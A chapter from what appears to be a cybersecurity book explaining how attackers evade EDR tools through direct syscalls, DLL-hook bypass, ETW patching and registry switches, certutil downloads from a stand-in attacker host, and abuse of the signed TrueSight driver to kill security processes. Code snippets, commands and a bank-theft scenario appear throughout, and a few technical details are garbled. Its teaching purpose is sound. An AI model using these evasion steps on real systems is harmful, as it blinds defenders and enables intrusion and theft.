Navigating the Digital Shadows – EDR Hacking Techniques
local graph
Chapter 5 — Navigating the Digital Shadows – EDR Hacking Techniques
Section titled “Chapter 5 — Navigating the Digital Shadows – EDR Hacking Techniques”In the ever-evolving realm of cybersecurity, the ongoing clash between offensive security experts and EDR/XDR+ technologies has reached unprecedented levels. As organizations fortify their defenses, mastering sophisticated evasion techniques becomes paramount for those traversing the digital shadows. This chapter offers insights into evading EDR technologies, providing a frontline perspective in this perpetual cat-and-mouse game.
We will unravel defense mechanisms, exploring various tactics that security professionals employ to outsmart EDR technologies. Our journey includes dissecting function hooking DLLs, revealing strategies to gracefully sidestep their interception. Additionally, we will understand how Endpoint Detection and Response (EDR), antivirus, and EPP tools detect suspicious or malicious activities—a crucial first step in evading these security tools. Beyond DLL hooking, we’ll delve into monitoring system calls and registry activities.
Moreover, these security tools analyze files or memory scans for suspicious behavior, primarily using Yara rules. Navigating Event Tracing for Windows (ETW), renowned for capturing system minutiae, we explore innovative methods to bypass its watchful eyes, allowing for undetected movement through the digital labyrinth.
We will then explore malware scanners, diving into an arsenal of evasion techniques and offering insights to mitigate their effectiveness and maintain control in the ongoing struggle. We will look at evasion strategies that abuse legitimate system tools for malicious purposes and obfuscate any legitimate code for malicious purposes to evade detection.
We will shed light on how offensive actors manipulate communication channels and leverage the Operating System (OS)’s own features against them, maintaining a covert presence within compromised systems. Join us on this concise yet comprehensive journey into the art of evading EDR technologies. In summary, this chapter will encompass the following key topics:
- The foundation of the evasion life cycle
- Function hooking DLLs and how to evade them
- Event tracing for Windows and how to bypass it
- Living off the Land (LOL) techniques
- Use of kernel-land software (aka the driver method)
The foundation of the evasion life cycle
Section titled “The foundation of the evasion life cycle”As the cybersecurity landscape evolves, attackers continually innovate to bypass these defenses, necessitating the development and understanding of evasion techniques. These techniques serve as a means for threat actors to infiltrate systems, execute malicious activities, and maintain persistence without triggering alerts or being detected by EDR solutions. By exploiting vulnerabilities, leveraging obfuscation, or manipulating system behavior, attackers can evade detection, thus highlighting the importance of studying and mitigating these evasion techniques to enhance the overall cybersecurity posture and safeguard critical assets. Basically, they follow the following guidelines to successfully bypass the defense mechanisms:
- Understanding solution functionality: Attackers meticulously delve into the intricacies of security solutions, aiming to grasp their specific operational mechanisms deployed on the target system. This deep comprehension enables them to identify potential bottlenecks or vulnerabilities within the solution. By discerning the inner workings of these defenses, attackers can exploit weaknesses more effectively, enhancing their ability to evade detection and carry out malicious activities with greater success.
- OS proficiency: Given that all endpoint solutions operate within the confines of the OS, attackers must acquire a profound understanding of the OS hosting the security solution. This entails grasping the intricate interplay between the OS and the deployed security measures. By gaining insight into this relationship, attackers can adeptly harness and manipulate the capabilities of the OS to their advantage, potentially circumventing security measures and executing malicious actions with greater efficacy.
- Behavioral analysis: Attackers must thoroughly understand and investigate the nuanced behaviors displayed by both the OS and the integrated security solution. This involves comprehending the dynamic interactions that occur between these components across different scenarios. By doing so, attackers can discern the specific tools and rules deployed on the endpoint, enabling them to devise tailored strategies to evade detection and exploit vulnerabilities effectively.
- Bypass techniques spectrum: Attackers must explore a diverse range of bypass techniques, spanning from basic attacks on simplistic vectors to sophisticated methodologies involving advanced attack vectors. By delving into the evolution of bypass techniques, they can adapt to the increasing complexity of attack surfaces. Additionally, attackers may even innovate and create their own techniques for executing advanced types of attacks. This comprehensive approach enables them to stay ahead of defensive measures, ensuring their ability to evade detection and successfully infiltrate targeted systems.
- Programming proficiency: Attackers must acknowledge the pivotal role of programming proficiency in mastering evasion tactics. A comprehensive skill set encompassing high-level languages such as Python, Go, Ruby, and C# is indispensable, complemented by expertise in lower-level languages such as C and C++. Moreover, familiarity with Windows API and Windows/OS internals (for example, Sysinternals) is crucial for a nuanced understanding. These competencies empower attackers to navigate the intricacies of evading EDR solutions effectively. Without such expertise, attackers risk relegating themselves to mere script kiddies reliant on pre-existing tools for hacking purposes.
- MITRE ATT&CK framework integration: A savvy attacker recognizes the importance of understanding current defense techniques through proficient knowledge of threat modeling frameworks. Leveraging the MITRE ATT&CK framework proves invaluable for delving deeper into methods to bypass defense mechanisms effectively. By exploring the extensive resources provided by MITRE ATT&CK, available at https://attack.mitre.org/tactics/TA0005/, attackers gain a comprehensive understanding of offensive tactics. This insight enables them to anticipate and strategize against their adversaries or gatekeepers, enhancing their ability to bypass defenses with precision and efficiency.
- Antivirus mitigation strategies: It’s crucial for attackers to acknowledge obfuscation and encryption as prevalent strategies for mitigating antivirus detection. Obfuscation, for instance, entails distorting the appearance of malware while preserving its fundamental functionality. Take, for example, the manipulation of character casing in a PowerShell script, which can confound simplistic signature-based scans without compromising its intended function. This tactic underscores the importance of concealing malicious code in ways that evade detection, thereby increasing the effectiveness of cyber-attacks.
Important note
A script kiddie is someone who lacks deep technical knowledge but uses pre-written scripts or tools to launch cyber-attacks or exploits, often without understanding the underlying technology or implications of their actions.
Until now, we have understood the fundamentals of the evasion mindset. But what about real methods and examples? In the following section, we will learn about one of the most sophisticated EDR and EPP evasion attacks.
Function hooking DLLs and how to evade them with In/DirectSyscalls
Section titled “Function hooking DLLs and how to evade them with In/DirectSyscalls”User mode and kernel mode are two distinct privilege levels in an OS that regulate how the CPU interacts with the software and manages system resources:
- User mode: In user mode, where regular applications and user-level processes operate—such as word processors and web browsers—programs are constrained by limited access to system hardware and resources. They function within a protected environment, devoid of direct manipulation of critical system resources. This segregation ensures that user-level activities proceed without compromising the stability and security of the underlying OS, maintaining a necessary barrier between user applications and sensitive system components.
- Kernel mode: Kernel mode, also known as privileged mode, constitutes the domain where the OS’s core, or kernel, operates, overseeing system resources and delivering vital services to user-level applications. Within this mode, the OS enjoys unrestricted access to hardware, facilitating pivotal functions such as memory management and process scheduling. This privileged access empowers the kernel to execute essential operations crucial for the system’s stability and functionality.
The CPU switches between user mode and kernel mode based on the code being executed. Transitions occur when a user-level application makes a system call or when exceptions or interrupts arise. This separation ensures system stability, security, and proper functioning by preventing user processes from interfering with critical operations in kernel mode.
Important note
Dynamic link library (DLL) is a file format primarily employed in Microsoft Windows OSs. It serves as a repository for multiple functions or routines that can be utilized by various programs simultaneously. These files store code, data, and resources, enabling efficient memory usage and promoting the reuse of code across different applications. DLLs are integral to modularizing software components and facilitating communication between programs within the Windows ecosystem. Of all the components included in modern endpoint security products, the most widely deployed are DLLs responsible for function hooking, or interception. These DLLs provide defenders with a large amount of important information related to code execution, such as the parameters passed to a function of interest and the values it returns. Today, vendors largely use this data to supplement other, more robust sources of information. Still, function hooking is an important component of EDRs. In this chapter, we’ll discuss how EDRs most commonly intercept function calls and what we, as attackers, can do to interfere with them. Some actions, such as memory and object management, are the responsibility of the kernel.
Let’s visualize the flow of execution from user mode to kernel mode using a simple diagram:
\`\`\`+-------------------------------------+| User-Level App || (e.g., File Copy) |+-------------------------------------+ | v+-------------------------------------+| kernel32.dll (User Mode) || +----------------------+ || | CopyFile | || +----------------------+ |+------------------|------------------+ | v+-------------------------------------+| System Call Transition || |+------------------|------------------+ | v+-------------------------------------+| ntdll.dll (Kernel Mode) || +----------------------+ || | Kernel Operations | || +----------------------+ |+------------------|------------------+ | v+-------------------------------------+| Return to User Mode || |+-------------------------------------+ | v+-------------------------------------+| Continue User-Level App || Execution (Post-Copy) |+-------------------------------------+Figure 5.1 – Flow of execution from user mode to kernel mode
Figure 5*.1* illustrates the sequence of events:
- The user-level application (e.g., a file-copy program) runs in user mode.
- The application calls a function in
kernel32.dll(e.g.,CopyFile). - The function in
kernel32.dllcontains the system call, triggering a transition to kernel mode. - The kernel, assisted by components such as
ntdll.dll, performs the privileged operations in kernel mode. - Once the kernel operations are complete, the control returns to user mode.
- The user-level application continues its execution with the results of the privileged operation.
This diagram highlights the interaction between user mode and kernel mode through the use of user-mode libraries such as kernel32.dll and kernel-mode components such as ntdll.dll.
EDR tools, as well as any other antivirus or EPP tools, use DLL injection. In other words, whenever a new process starts, EDR also starts DLL under this process to detect any functions that are used by malicious actors often such as functions:
In the Windows API like CreateProcess or LoadLibrary.C Library Functions: Intercepting standard C library functions, such as malloc or printf.NtAllocateVirtualMemoryNtOpenProcessNtLoadLibraryAnd many other depending to vendor, product family, endpoint type and the level of false positives appetite. For instance, in identifying remote process injection, an agent might observe whether the memory area was assigned with read-write-execute permissions, confirm the presence of data written to the newly allocated space, and check for the creation of a thread using a reference to the written data. If everything looks normal, it passes the parameter to the original destination:

Figure 5.2 – The normal and hooked process flow from user mode to kernel mode
Function hooking, despite a variety of libraries, often boils down to the same trick: hijacking function calls with strategic rewrites of jump instructions. detours, a popular library, replaces code snippets with detours (custom functions) and trampolines (original code containers) to achieve this, allowing developers to intercept and manipulate function behavior. Let’s see this magic in action!
The core of what every EDR’s function hooking DLL does is proxy the execution of the target function and collect information about how it was invoked.
This serves as an illustration of Endpoint Detection and Response (EDR in an educational context. Let’s consider a scenario where we aim to intercept the NtLoadLibrary function within the ntdll.dll library:
#include "pch.h"#include "minhook/include/MinHook.h" // We are using this library from github to hook DLL application. You can choose any other dll hooking libraries.#include "SylantStrike.h"// Function to initialize hooks in a separate thread.DWORD WINAPI InitializeHooksThread(LPVOID param) { // Initialize the MinHook library before hooking specific API calls. If (MH_Initialize() != MH_OK) { OutputDebugString(TEXT("Failed to initialize the MinHook library\n")); return -1; } // Prepare to hook the NtLoadLibrary function from ntdll.dll. MH_STATUS status = MH_CreateHookApi(TEXT("ntdll"), "NtLoadLibrary", NtLoadLibrary, reinterpret_cast<LPVOID*>(&pOriginalNtLoadLibrary)); // Enable the hooks to make them active. Status = MH_EnableHook(MH_ALL_HOOKS); return status;}// DLL entry point.BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // Disable thread library calls as we are not interested in callbacks when a thread is created. DisableThreadLibraryCalls(hModule); // Create a thread for initializing hooks since executing code inline in DllMain can lead to lockups. HANDLE hThread = CreateThread(nullptr, 0, InitializeHooksThread, nullptr, 0, nullptr); if (hThread != nullptr) { CloseHandle(hThread); } break; } case DLL_PROCESS_DETACH: // No specific actions needed during process detachment. Break; } return TRUE;}For the rest of the project, you can visit the following repository: https://github.com/CCob/SylantStrike.
I got this code sample from this project, and when I executed this code in my environment, you can see that the EDR named SylantStrike can inject its DLL into any open process and start to hook for specific calls:

Figure 5.3 – SylanStrike EDR DLL injection
In Figure 5*.3*, SylanStrike EDR demonstrates the injection of its DLL into Notepad, as highlighted.
This code is part of a DLL in C++ that is designed to hook or intercept specific API calls in the Windows OS. The purpose of this DLL is to inject itself into other processes and modify the behavior of the NtLoadLibrary function from the ntdll.dll library.
Here’s a breakdown of the key components of the code:
- MinHook initialization: The code includes the MinHook library (
minhook/include/MinHook.h) for API hooking. MinHook is a library that allows developers to intercept and modify functions. TheMH_Initializefunction is called to initialize MinHook. - Thread creation for hook initialization: In
DllMain, during theDLL_PROCESS_ATTACHcase, a thread (InitHooksThread) is created to handle the initialization of hooks. This is done to avoid potential lockups or issues that can arise from executing certain code directly inDllMain. - Hook initialization in a separate thread:
- The
InitHooksThreadfunction initializes MinHook and sets up a hook for theNtLoadLibraryfunction fromntdll.dll- The
MH_CreateHookApifunction is used to create a hook forNtLoadLibrary, andMH_EnableHookis then called to enable the hook
- The
- The
- DLL entry point (
DllMain):DllMainis a special function in a DLL that is called when processes attach or detach from the DLL- In this case, during process attachment (
DLL_PROCESS_ATTACH), the code disables thread library calls (DisableThreadLibraryCalls) and creates a separate thread (InitHooksThread) for hook initialization
- In this case, during process attachment (
- The DLL_PROCESS_DETACH case: The
DLL_PROCESS_DETACHcase inDllMainis empty, indicating that there is no specific cleanup or actions needed when a process detaches from the DLL.
Overall, this code is part of a larger project aimed at modifying the behavior of the NtLoadLibrary function by hooking into it using the MinHook library. It demonstrates a common practice in software development for implementing function hooks, often used in areas such as code injection, debugging, or system-level monitoring.
Up to this point, we’ve grasped that EDR employs DLL injection as a technique to intercept suspicious calls, aiming to identify and prevent any potentially malicious behavior, as evidenced by the code snippets we’ve explored. The pivotal question arises—how can one elude this DLL hooking mechanism?
In response to EDR tools’ vigilance for specific functions, hackers navigate beyond the user level, opting for direct engagement at the kernel level. Instead of utilizing functions that rely on parameters and results from ntdll.dll, they incorporate syscalls directly into their code. Importantly, this evasion strategy doesn’t necessitate the use of intricate reverse-engineering techniques; certain web resources provide precise syscall IDs corresponding to system call symbols:

Figure 5.4 – Windows system call table
As depicted in Figure 5*.4*, the web page https://j00ru.vexillium.org/syscalls/nt/64/ offers direct access to ID values (specific system call numbers) that can be seamlessly embedded within your code as syscalls. This low-level approach operates at the kernel level, providing an effective means to circumvent EDR hooking.
Now, let’s delve into evading EDR through direct syscalls to bypass DLL hooking.
Guven, a skilled hacker, has managed to breach the XYZ Bank network with the aim of secretly establishing a new process to communicate externally and transmit sensitive credit card information belonging to customers. Despite XYZ Bank’s proactive monitoring of endpoints and critical processes vulnerable to exploitation, Guven remains undeterred.
Drawing on his expertise in kernel-level operations and assembly language, Guven identifies the specific syscall number necessary for his nefarious activities. He turns to the NtOpenProcess API but opts for a stealthier approach. Using a disassembler, he meticulously examines the assembler code associated with the API. With a clear understanding of how the API functions and the corresponding system call number, Guven crafts code designed to operate covertly, slipping past endpoint protection mechanisms without raising suspicion.
This stealthy approach is essential because conventional security tools are often ill equipped to detect such low-level, OS-permitted actions. Monitoring these actions would flood security systems with an overwhelming number of false positives, making it exceedingly difficult to effectively detect malicious activities within the OS.
GuvenHackinEdr PROC mov r10, rcx ; Move the handle to the target process to r10 mov eax, 0023h ; System call number for NtOpenProcess (may vary based on version) syscall retGuvenHackinEdr ENDPThe preceding is an example of x86-64 assembly code for the Windows Native API’s NtOpenProcess function. This code assumes that the handle to the target process will be passed as the first parameter (the rcx register).
In this code, note the following:
mov r10, rcx: Moves the value in thercxregister (assumed to be the handle to the target process) to ther10register.mov eax, 0023h: Moves the hexadecimal value0023to theeaxregister. This value is assumed to be the system call number forNtOpenProcess. The actual value may vary based on the Windows version and architecture.syscall: Triggers the system call to open the process.ret: Returns from the procedure.
Please note that the specific system call number (0023h in this case) should be verified based on the Windows version and system architecture. Proper error handling and parameter validation should also be implemented in a real-world scenario.
This example serves as an introduction to the rabbit hole. Feel free to follow the white rabbit deeper for more insights and intricacies.
Event Tracing for Windows (ETW) and how to evade it
Section titled “Event Tracing for Windows (ETW) and how to evade it”ETW is a powerful tracing mechanism built into the Windows OS that enables high-performance, real-time event logging and analysis. It provides a framework for instrumenting software and OS components to generate detailed event traces, which can then be captured and analyzed to diagnose performance issues, debug problems, monitor system activity, and gather operational data. ETW supports various types of events, including kernel events, user events, and provider-specific events, allowing developers and administrators to gain deep insights into system behavior and performance. ETW logs can be collected locally or remotely, enabling centralized monitoring and analysis across multiple systems. Additionally, third-party applications and utilities can leverage the ETW infrastructure to provide enhanced diagnostic and monitoring capabilities on the Windows platform.
In the realm of security, ETW proves to be an invaluable source of telemetry, offering insights that might remain beyond the reach of an endpoint agent.
Despite its utility in gathering information from system components, ETW, conceived as a monitoring and debugging tool rather than a core security element, comes with inherent limitations. Unlike other sensor components, the protective measures for ETW lack the same level of robustness. There are some evading methods for ETW, which we will explore as follows.
Patching
Section titled “Patching”A prevalent offensive technique to evade ETW involves patching critical functions, structures, and memory locations influencing event emission. The goal is to either completely prevent the provider from emitting events or selectively filter the sent events. The most common manifestation of this evasion technique is through function hooking. Take the following example:
\`\`\`// Example: Function Hooking to Evade ETW#include <Windows.h>#include "minhook/include/MinHook.h"// Function to be hookedtypedef NTSTATUS(WINAPI* NtProtectVirtualMemoryPtr)( HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);NtProtectVirtualMemoryPtr pOriginalNtProtectVirtualMemory = nullptr;NTSTATUS WINAPI HookedNtProtectVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection) { // Your custom code here to alter behavior or prevent event emission // ... // Call the original function return pOriginalNtProtectVirtualMemory( ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection );}\`\`\`As evident from the preceding code snippet, custom code can be incorporated to inhibit event emission, thus rendering your trace untraceable in ETW.
Another evasion technique involves configuration modification. Let’s delve into it.
Configuration modification
Section titled “Configuration modification”Another frequently employed evasion technique involves manipulating persistent attributes of the system, such as registry keys, files, and environment variables. This is often achieved through registry-based off switches. Take the following example:
\`\`\`powershell# PowerShell Example: Modifying Registry for ETW EvasionSet-ItemProperty -Path 'HKCU:\Software\Microsoft\.NETFramework' -Name 'ETWEnabled' -Value 0\`\`\`Trace-Session TamperingThe second technique involves interference with trace sessions already running on the system. An example is removing a provider from a trace session:
\`\`\`powershell# PowerShell Example: Removing Provider from Trace Sessionlogman.exe update trace TRACE_NAME --p PROVIDER_NAME --ets\`\`\`Understanding these evasion techniques is crucial for bolstering the efficacy of security measures while adhering to ethical and legal standards.
Living off the Land (LOTL) techniques
Section titled “Living off the Land (LOTL) techniques”Upon encountering this technique for the first time, I recalled a proverb from Shakespeare’s renowned play The Merchant of Venice:
“The devil can cite Scripture for his purpose.”
—William Shakespeare
LOTL attacks are a cunning way to infiltrate systems without leaving traditional malware traces. Unlike typical attacks that drop malicious files, LOTL attacks cleverly repurpose the system’s own tools to carry out their malicious deeds. This makes them much harder to detect, as they don’t introduce any new files or scripts that security software can easily flag.
The following explains how they work:
- Blending in with the system’s tools: Attackers sneak into the system through various means, such as exploiting kits, using stolen credentials, or hijacking built-in tools.
- Armed with Microsoft’s own tools: Once inside, they leverage legitimate tools, such as PowerShell, WMI, and even Mimikatz (which is often used for password extraction), to execute their attacks.
- Flying under the radar: Because these tools are already trusted by the system and often have broad functionalities, their misuse can go unnoticed by traditional security measures that focus on detecting known malware signatures.
It’s like a thief using your own kitchen knives to break into your house—harder to spot and leaving fewer clues behind.
Microsoft’s unwitting role
Section titled “Microsoft’s unwitting role”The rich functionality of Microsoft’s system administration tools, designed for legitimate purposes, can be creatively exploited for malicious activities.
Attackers possess the ability to circumvent application whitelisting by exploiting trusted tools that bear Microsoft’s own digital signatures, allowing them to execute code discreetly. This covert strategy is commonly referred to as Living off the Land (LOL), with the repurposed tools earning the moniker Living off the Land Binaries and Scripts (LOLBASs). As this practice gains prevalence, it presents a formidable challenge for cybersecurity professionals, underscoring the urgent need for advanced detection and prevention strategies capable of adapting to these constantly evolving threats.
Consider the scenario of assuming the role of a hacker who has infiltrated XYZ Bank’s network, seeking to download a malicious application onto their computer. The challenge lies in navigating stringent networks and security restrictions. However, native OS solutions, officially certified and signed by Microsoft, provide an avenue for covert actions. An illustrative example of such native Windows tools can be explored through the LOLBAS project at https://lolbas-project.github.io/:

Figure 5.5 – LOLBAS project
In Figure 5*.5*, an array of Windows native .exe files is presented, revealing their potential for malicious applications. Remarkably, these applications evade detection by Endpoint Detection and Response (EDR systems since they are integral components of the Windows OS. The Functions column enumerates various types of actions associated with each executable, including execute, download, AWL bypass, and copy.
Consider the case of Certutil.exe:

Figure 5.6 – Certutil.exe from LOLBAS project
As depicted in Figure 5*.6*, Certutil.exe unveils its potential for actions such as downloading, alternate data streams, encoding, and decoding. In this scenario, let’s explore the utilization of Certutil.exe to download a malicious file crafted by the hacker Guven onto a targeted computer.
It’s essential to note that Certutil.exe is a command-line utility integral to Microsoft Windows OSs. Its primary functionalities include tasks related to certificate management, cryptographic operations, Public Key Infrastructure (PKI) operations, and database operations. Commonly used by administrators to manage certificates and cryptographic tasks on Windows systems, Certutil.exe is a versatile utility accessed through Command Prompt or PowerShell, where commands with appropriate parameters are executed.
In our context, we’ll leverage Certutil.exe ’s capabilities for a purpose that diverges from its intended use, aligning with the cautionary Shakespeare proverb to tread carefully in the digital landscape:
certutil.exe -verifyctl -f -split http://hacker-guven.com/a/maliciousapp.sysExecuting this command in Command Prompt will initiate the download of maliciousapp.sys from hacker-guven.com. It is scary easy, isn’t it? Now we will see another method to evade endpoint protections in the next section.
Use of kernel-land software (aka the driver method)
Section titled “Use of kernel-land software (aka the driver method)”In the context of Windows OSs, a driver refers to a specialized software component that allows the OS to communicate with and control a specific hardware device. Hardware devices include components such as printers, graphics cards, and network adapters. Each of these devices requires a driver to function properly with the OS.
The following are key points about drivers in Windows:
- Device communication: Drivers act as intermediaries between the OS and the hardware device. They provide a standardized interface that the OS can use to send commands and receive data from the device.
- Device functionality: Drivers are essential for the proper functioning of hardware devices. Without the appropriate driver, a hardware component may not work correctly, or the OS may not be able to utilize all of the device’s features.
- Plug and play: Windows includes a Plug and Play (PnP) system that automatically detects and configures hardware devices when they are connected to the system. PnP relies on drivers to enable the seamless integration of new devices.
- Driver model: Windows uses different driver models for different versions. The Windows Driver Model (WDM) is common for Windows 2000 and later versions, while the Windows Display Driver Model (WDDM) is specific to graphics drivers. The Kernel-Mode Driver Framework (KMDF) and User-Mode Driver Framework (UMDF) are frameworks for developing drivers.
- Digital signatures: Drivers in Windows are often required to be digitally signed by a trusted certificate authority. This helps ensure that the driver comes from a reliable source and has not been tampered with, enhancing system security.
In summary, drivers are crucial components that facilitate communication between the OS and hardware devices in a Windows environment. They play a vital role in ensuring that the various components of a computer system work together seamlessly. Drivers work not only in user mode but also in kernel mode. They need to perform a task and communicate at the kernel level.
When developers create a driver for Windows, they should adhere to Microsoft’s guidelines and best practices for driver development, such as WDM, the Windows Driver Kit (WDK), and any relevant specifications for the type of driver you are developing.
Access the Windows Hardware Dev Center portal to submit your driver package, provide the necessary information, and pay any applicable fees.
Microsoft’s certification team will review your submission. They will ensure that your driver complies with Windows quality and security standards.
Once your driver successfully passes all tests and meets Microsoft’s requirements, it will receive Windows Hardware certification. This certification signifies that your driver is compatible with Windows and can be easily distributed to end users.
Hackers employ reverse-engineering techniques to comprehend the inner workings, actions, and parameters of these drivers, repurposing them for malicious intent.
For instance, let’s consider the TrueSight driver. Initially designed as a legitimate interface facilitating communication between the OS and hardware, a closer analysis using the IDA disassembler revealed a concerning capability—this driver could terminate any process without requiring additional permissions. The concerning aspect was that Microsoft had already signed it. It’s important to note that, as of the time of writing this book, the mentioned driver has been patched, rendering it no longer exploitable for hacking purposes. Despite this, I am sharing this vulnerability to illustrate the reverse analysis and parameters involved in closing a process, as depicted in the following screenshot:

Figure 5.7 – Reverse engineering of Truesight.sys driver
Figure 5*.7* shows that this driver can call a process named ZwTerminatedProcess and this process can terminate any process with the help of ProcessHandle and other numeric parameters. Because this book is not about reverse engineering or assembly language, you should only need to understand the logic behind the evasion technique of EDR. If you do not know reverse engineering or assembly, that’s fine. So, what would I do with these pieces of information as a hacker? Well, this chapter is about EDR evasion, and if a driver can terminate the process and we understand which parameters are used for this and their purpose, then we can manipulate the driver to make any process we want terminate. As a hacker, we of course want to terminate the EDR. Sounds crazy, right?
Let’s terminate the EDR on the endpoint together:
sc create TrueSight binPath="c:\path\to\truesight.sys" type= kernel start= demandsc start TrueSight…//* Our pseudo code for any application that utilizes the Truesight Driver.IntPtr deviceHandle = CreateFile("\\\\.\\TrueSight", 0xC0000000, 0, IntPtr.Zero, 3, 0x80, IntPtr.Zero); if (!DeviceIoControl(deviceHandle, TERMINATE_PROCESS_IOCTL_CODE, ref processId, // EDR process id were given here to terminate it.sizeof(uint), ref output, sizeof(uint), out bytesReturned, IntPtr.Zero)) { Console.WriteLine("Failed to terminate process: 0x{0:X}", Marshal.GetLastWin32Error()); return; }*//Our Pseudo Code has finished here.…You can create your own application with the capability to communicate with an exploitable driver for malicious purposes. The given example serves as a demonstration to reveal the underlying logic behind comprehending the hacker’s mindset. We’ve successfully bypassed the Endpoint Detection and Response (EDR on our endpoint using a legally obtained third-party driver, signed and certified by Microsoft.
Summary
Section titled “Summary”In this chapter, we delved into the intricate world of offensive tactics, where threat actors skillfully exploit communication channels and turn the very features of OSs against them, establishing a covert presence within compromised systems. Let’s recap the key topics covered, complemented by hands-on code examples and real-life scenarios:
- The foundation of the evasion life cycle: We explored the fundamental principles that underscore the life cycle of evasion, providing insights into the strategic planning and execution employed by offensive actors.
- Function hooking DLLs and how to evade them: We provided a detailed exploration of how attackers utilize function hooking in DLLs and practical strategies to evade detection, showcasing the cat-and-mouse game between attackers and endpoint security.
- Event Tracing for Windows (ETW) and how to bypass it: We provided a comprehensive look into evading detection through ETW, shedding light on techniques employed by attackers to navigate through these surveillance mechanisms.
- Living off the Land (LOL) techniques: We provided an in-depth examination of LOL techniques, where attackers leverage legitimate tools for malicious purposes, showcasing how seemingly benign actions can camouflage nefarious activities.
- Use of kernel-land software (aka the driver method): We explored how attackers exploit the kernel level with software, specifically drivers, to bypass security measures. Real-life scenarios and code examples demonstrated the power and potential risks associated with such actions.
Throughout our journey, we were reminded of Sun Tzu’s timeless wisdom from The Art of War:
“All warfare is based on deception.”
This quote aptly captures the essence of the strategic and deceptive maneuvers employed by hackers on the digital battlefield. As we conclude this chapter, we have not only unraveled the techniques used by offensive actors but also gained a deeper understanding of the perpetual cat-and-mouse game between attackers and cybersecurity defenses.
In the next chapter, we will learn about endpoint hardening, best practices for it, and securing roaming clients.